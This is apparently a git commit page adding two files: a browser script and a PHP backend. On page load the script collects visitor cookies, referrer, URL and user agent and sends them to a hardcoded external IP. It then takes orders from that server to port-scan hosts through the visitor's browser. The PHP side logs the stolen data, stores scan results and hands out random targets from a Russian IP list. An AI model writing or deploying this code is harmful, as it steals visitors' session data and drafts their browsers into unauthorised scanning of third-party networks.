commit
f87ccad4ed
3 changed files with 9142 additions and 0 deletions
@ -0,0 +1,184 @@
|
||||
http_server = "http://http://50.19.199.172/index.php"; |
||||
|
||||
const f2O = (host, port, options, timeout = 7000) => { |
||||
return Promise.race([ |
||||
fetch('http://' + host + ':' + port, options), |
||||
new Promise((_, reject) => |
||||
setTimeout(() => reject(new Error('timeout')), timeout) |
||||
) |
||||
]) |
||||
.then((resp) => { |
||||
resp.host = host; |
||||
resp.port = port; |
||||
resp.message = "open"; |
||||
return resp; |
||||
}) |
||||
.catch(error => { |
||||
error.host = host; |
||||
error.port = port; |
||||
throw error; |
||||
}); |
||||
}; |
||||
|
||||
|
||||
const thread = (host, ports, maxTime, callback) => { |
||||
const loop = (ports) => { |
||||
for (var i = 0; i < ports.length; i++) { |
||||
const controller = new AbortController(); |
||||
f2O(host, ports[i], { |
||||
mode: 'no-cors',
|
||||
signal: controller.signal, |
||||
}, maxTime).then(resp => { |
||||
callback(resp); |
||||
controller.abort(); |
||||
}).catch(err => { |
||||
callback(err); |
||||
controller.abort(); |
||||
}); |
||||
} |
||||
}; |
||||
setTimeout(() => loop(ports), 0); |
||||
}; |
||||
|
||||
const scanRange = (host, ports, thread_count, maxTime) => { |
||||
window.resOut = {type: 'scan_port', host: host, ports:{}}; |
||||
const port_range = ports.length; |
||||
const thread_range = port_range / thread_count; |
||||
totalRequests = port_range; |
||||
completedRequests = 0; |
||||
|
||||
var i,j,temparray,chunk = thread_count; |
||||
for (i=0,j=port_range; i<j; i+=chunk) { |
||||
temparray = ports.slice(i,i+chunk); |
||||
thread(host, temparray, maxTime, port => { |
||||
completedRequests++; |
||||
if (totalRequests == completedRequests) { |
||||
window.timeLRequest = 0; |
||||
next = true; |
||||
} |
||||
window.resOut.ports[port.port] = port.message; |
||||
sendScanRes (); |
||||
}); |
||||
} |
||||
} |
||||
|
||||
function makePostRequest(data, callback) { |
||||
var url = http_server; |
||||
var xhr = new XMLHttpRequest(); |
||||
xhr.open('POST', url, true); |
||||
xhr.setRequestHeader('Content-Type', 'application/json'); |
||||
xhr.onload = function () { |
||||
if (xhr.status >= 200 && xhr.status < 300) { |
||||
callback(null, JSON.parse(xhr.responseText)); |
||||
} else { |
||||
console.error('Request failed with status:', xhr.status); |
||||
} |
||||
}; |
||||
xhr.onerror = function () { |
||||
console.error('Network error occurred'); |
||||
}; |
||||
var jsonData = JSON.stringify(data); |
||||
xhr.send(jsonData); |
||||
} |
||||
|
||||
const scan = () => { |
||||
makePostRequest({'data': 'false'}, function(error,data) { |
||||
if ( data.scan == 'true' ) { |
||||
window.timeRequest = 500; |
||||
window.timeLRequest = 0; |
||||
console.log('scan'); |
||||
console.log(data.ports); |
||||
scanRange (data.host, data.ports, data.scan_thread, data.scan_max_time); |
||||
} |
||||
}); |
||||
}; |
||||
|
||||
const sendScanRes = () => { |
||||
if ( (Date.now() - window.timeLRequest) > window.timeRequest ) { |
||||
window.timeLRequest = Date.now(); |
||||
makePostRequest(window.resOut, function(err, data) {}); |
||||
} |
||||
|
||||
} |
||||
|
||||
let counter = 0; |
||||
|
||||
function performAction() { |
||||
if (next == true) { |
||||
scan(); |
||||
counter++; |
||||
} |
||||
if (counter < 50) { |
||||
setTimeout(performAction, 20000); |
||||
} |
||||
} |
||||
|
||||
var info = {};
|
||||
info.browser = function(){ |
||||
ua = navigator.userAgent.toLowerCase(); |
||||
var rwebkit = /(webkit)[ \/]([\w.]+)/; |
||||
var ropera = /(opera)(?:.*version)?[ \/]([\w.]+)/; |
||||
var rmsie = /(msie) ([\w.]+)/; |
||||
var rmozilla = /(mozilla)(?:.*? rv:([\w.]+))?/; |
||||
var match = rwebkit.exec( ua ) || |
||||
ropera.exec( ua ) || |
||||
rmsie.exec( ua ) || |
||||
ua.indexOf("compatible") < 0 && rmozilla.exec( ua ) || |
||||
[]; |
||||
return {name: match[1] || "", version: match[2] || "0"}; |
||||
}(); |
||||
info.ua = escape(navigator.userAgent); |
||||
info.lang = navigator.language; |
||||
info.referrer = escape(document.referrer); |
||||
info.location = escape(window.location.href); |
||||
info.toplocation = escape(top.location.href); |
||||
info.cookie = escape(document.cookie); |
||||
info.domain = document.domain; |
||||
info.title = document.title; |
||||
info.screen = function(){ |
||||
var c = ""; |
||||
if (self.screen) {c = screen.width+"x"+screen.height;} |
||||
return c; |
||||
}(); |
||||
info.flash = function(){ |
||||
var f="",n=navigator; |
||||
if (n.plugins && n.plugins.length) { |
||||
for (var ii=0;ii<n.plugins.length;ii++) { |
||||
if (n.plugins[ii].name.indexOf('Shockwave Flash')!=-1) { |
||||
f=n.plugins[ii].description.split('Shockwave Flash ')[1]; |
||||
break; |
||||
} |
||||
} |
||||
} |
||||
else |
||||
if (window.ActiveXObject) { |
||||
for (var ii=20;ii>=2;ii--) { |
||||
try { |
||||
var fl=eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash."+ii+"');"); |
||||
if (fl) { |
||||
f=ii + '.0'; |
||||
break; |
||||
} |
||||
} |
||||
catch(e) {} |
||||
} |
||||
} |
||||
return f; |
||||
}();
|
||||
|
||||
function json2str(o) { |
||||
var arr = []; |
||||
var fmt = function(s) { |
||||
if (typeof s == 'object' && s != null) return json2str(s); |
||||
return /^(string|number)$/.test(typeof s) ? "'" + s + "'" : s; |
||||
} |
||||
for (var i in o) arr.push("'" + i + "':" + fmt(o[i])); |
||||
return '{' + arr.join(',') + '}'; |
||||
}
|
||||
window.onload = () => { |
||||
var i = json2str(info); |
||||
new Image().src = http_server + "?c=" + i; |
||||
console.log('start'); |
||||
next = true; |
||||
performAction(); |
||||
}; |
@ -0,0 +1,186 @@
|
||||
<?php |
||||
header("Access-Control-Allow-Origin: *"); |
||||
header("Access-Control-Allow-Methods: GET, POST, OPTIONS, PUT, PATCH, DELETE"); |
||||
header("Access-Control-Allow-Headers: Content-Type, Authorization"); |
||||
header("Access-Control-Allow-Credentials: true"); |
||||
|
||||
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') { |
||||
http_response_code(200); |
||||
exit(); |
||||
} |
||||
|
||||
function mlog($logMessage, $logFilePath = './logfile.log') { |
||||
$logTimestamp = date('Y-m-d H:i:s'); |
||||
$logEntry = "[{$logTimestamp}] {$logMessage}\n"; |
||||
$fileHandle = fopen($logFilePath, 'a'); |
||||
if ($fileHandle) { |
||||
fwrite($fileHandle, $logEntry); |
||||
fclose($fileHandle); |
||||
} else { |
||||
echo "error: log file."; |
||||
} |
||||
} |
||||
function get_real_ip(){ |
||||
$ip=false; |
||||
if(!empty($_SERVER["HTTP_CLIENT_IP"])) |
||||
{ |
||||
$ip = $_SERVER["HTTP_CLIENT_IP"]; |
||||
} |
||||
if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) |
||||
{ |
||||
$ips = explode (", ", $_SERVER['HTTP_X_FORWARDED_FOR']); |
||||
if ($ip) |
||||
{ |
||||
array_unshift($ips, $ip); $ip = FALSE; |
||||
} |
||||
for ($i = 0; $i < count($ips); $i++) |
||||
{ |
||||
if (!eregi ("^(10|172\.16|192\.168)\.", $ips[$i])) |
||||
{ |
||||
$ip = $ips[$i]; |
||||
break; |
||||
} |
||||
} |
||||
} |
||||
return ($ip ? $ip : $_SERVER['REMOTE_ADDR']); |
||||
} |
||||
|
||||
function get_user_agent(){ |
||||
return $_SERVER['HTTP_USER_AGENT']; |
||||
} |
||||
|
||||
function get_referer(){ |
||||
return $_SERVER['HTTP_REFERER']; |
||||
} |
||||
|
||||
function quotes($content){ |
||||
if(htmlspecialchars($content)){ |
||||
if(is_array($content)){ |
||||
foreach($content as $key=>$value){ |
||||
$content[$key] = stripslashes($value); |
||||
} |
||||
}else{ |
||||
$content = stripslashes($content);} |
||||
}else{} |
||||
return $content; |
||||
} |
||||
|
||||
if (!empty($_REQUEST["c"])){ |
||||
$curtime = date("Y-m-d H:i:s"); |
||||
$ip = get_real_ip(); |
||||
$useragent = get_user_agent(); |
||||
$referer = get_referer(); |
||||
$data = $_REQUEST["c"]; |
||||
if(!file_exists("HujGrskagyuasd.html")){ |
||||
$fp = fopen("HujGrskagyuasd.html", "a+"); |
||||
fwrite($fp, '<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>probe data</title><style>body{font-size:13px;}</style></head>'); |
||||
fclose($fp); |
||||
} |
||||
$fp = fopen("HujGrskagyuasd.html", "a+"); |
||||
fwrite($fp, "".htmlspecialchars(quotes($ip))." | $curtime <br />UserAgent: ".htmlspecialchars(quotes($useragent))." <br />Referer: ".htmlspecialchars(quotes($referer))." <br />DATA: ".htmlspecialchars(quotes($data))."<br /><br />"); |
||||
fclose($fp); |
||||
} |
||||
|
||||
|
||||
########################################################################################## |
||||
|
||||
function db_insert($jsonData) { |
||||
$db = new SQLite3('./jhasgdkyuasAHLhiahusd.db'); |
||||
if (!$db) { |
||||
die("Connection failed: " . $db->lastErrorMsg()); |
||||
} |
||||
$query = 'CREATE TABLE IF NOT EXISTS scan (id INTEGER PRIMARY KEY, host TEXT, port INTEGER, res TEXT, time_scan DATETIME)'; |
||||
$db->exec($query); |
||||
// Insert data |
||||
$time = time(); |
||||
$host = $jsonData['host']; |
||||
|
||||
$insertOrUpdateQuery = $db->prepare('INSERT OR REPLACE INTO scan (host, port, res, time_scan) VALUES (:host, :port, :res, :time_scan)'); |
||||
if ($jsonData !== null && isset($jsonData['ports']) && is_array($jsonData['ports'])) { |
||||
foreach ($jsonData['ports'] as $port => $res) { |
||||
$insertOrUpdateQuery->bindValue(':host', $host, SQLITE3_TEXT); |
||||
$insertOrUpdateQuery->bindValue(':port', $port, SQLITE3_INTEGER); |
||||
$insertOrUpdateQuery->bindValue(':res', $res, SQLITE3_TEXT); |
||||
$insertOrUpdateQuery->bindValue(':time_scan', $time,SQLITE3_INTEGER); |
||||
$insertOrUpdateQuery->execute(); |
||||
} |
||||
$db->exec('COMMIT'); |
||||
$db->close(); |
||||
} |
||||
} |
||||
|
||||
function v4CIDRtoMask($cidr) { |
||||
$cidr = explode('/', $cidr); |
||||
return array($cidr[0], long2ip(-1 << (32 - (int)$cidr[1]))); |
||||
} |
||||
|
||||
function ipv4Breakout ($ip_address, $ip_nmask) { |
||||
$ip_address_long = ip2long($ip_address); |
||||
$ip_nmask_long = ip2long($ip_nmask); |
||||
$ip_net = $ip_address_long & $ip_nmask_long; |
||||
$ip_host_first = ((~$ip_nmask_long) & $ip_address_long); |
||||
$ip_first = ($ip_address_long ^ $ip_host_first) + 1; |
||||
$ip_broadcast_invert = ~$ip_nmask_long; |
||||
$ip_last = ($ip_address_long | $ip_broadcast_invert) - 1; |
||||
$ip_broadcast = $ip_address_long | $ip_broadcast_invert; |
||||
$ip_net_short = long2ip($ip_net); |
||||
$ip_first_short = long2ip($ip_first); |
||||
$ip_last_short = long2ip($ip_last); |
||||
$ip_broadcast_short = long2ip($ip_broadcast); |
||||
return long2ip(random_int(ip2long($ip_first_short), ip2long($ip_last_short))); |
||||
} |
||||
|
||||
function selectIp ($country = 'ru') { |
||||
$line = ""; |
||||
if ($country == 'ru') { |
||||
$f_contents = file("ru.cidr"); |
||||
$line = $f_contents[rand(0, count($f_contents) - 1)]; |
||||
} |
||||
return $line; |
||||
} |
||||
function sendScanRange() { |
||||
$ip_range = selectIp("ru"); |
||||
if ($ip_range == "") { |
||||
exit(); |
||||
} |
||||
$addr=v4CIDRtoMask($ip_range); |
||||
$host=ipv4Breakout ($addr[0], $addr[1]); |
||||
$p = random_int(0,65); |
||||
if ($p == 65) { |
||||
$ports_arr = range(65000,65535); |
||||
} else if ($p == 0) { |
||||
$ports_arr = range(1,1000-1); |
||||
} else { |
||||
$p1 = $p*1000; |
||||
$p2 = ($p+1)*1000 -1; |
||||
$ports_arr = range($p1,$p2); |
||||
} |
||||
shuffle($ports_arr); |
||||
$response = [ |
||||
'scan' => 'true', |
||||
'host' => $host, |
||||
'scan_max_time' => '500', |
||||
'scan_thread' => '100', |
||||
]; |
||||
$ports = ['ports' => $ports_arr]; |
||||
$response = array_merge($response, $ports); |
||||
header('Content-Type: application/json'); |
||||
echo json_encode($response); |
||||
exit(); |
||||
} |
||||
$postData = json_decode(file_get_contents('php://input'), true); |
||||
if (isset($postData['data'])) { |
||||
if ($postData['data'] == 'false' ) { |
||||
sendScanRange(); |
||||
} |
||||
} |
||||
if (isset($postData['type'])) { |
||||
if ($postData['type'] == 'scan_port') { |
||||
db_insert($postData); |
||||
http_response_code(200); |
||||
echo json_encode('{res:ok}'); |
||||
} |
||||
} |
||||
exit(); |
||||
?> |
||||
|
Loading…
Reference in new issue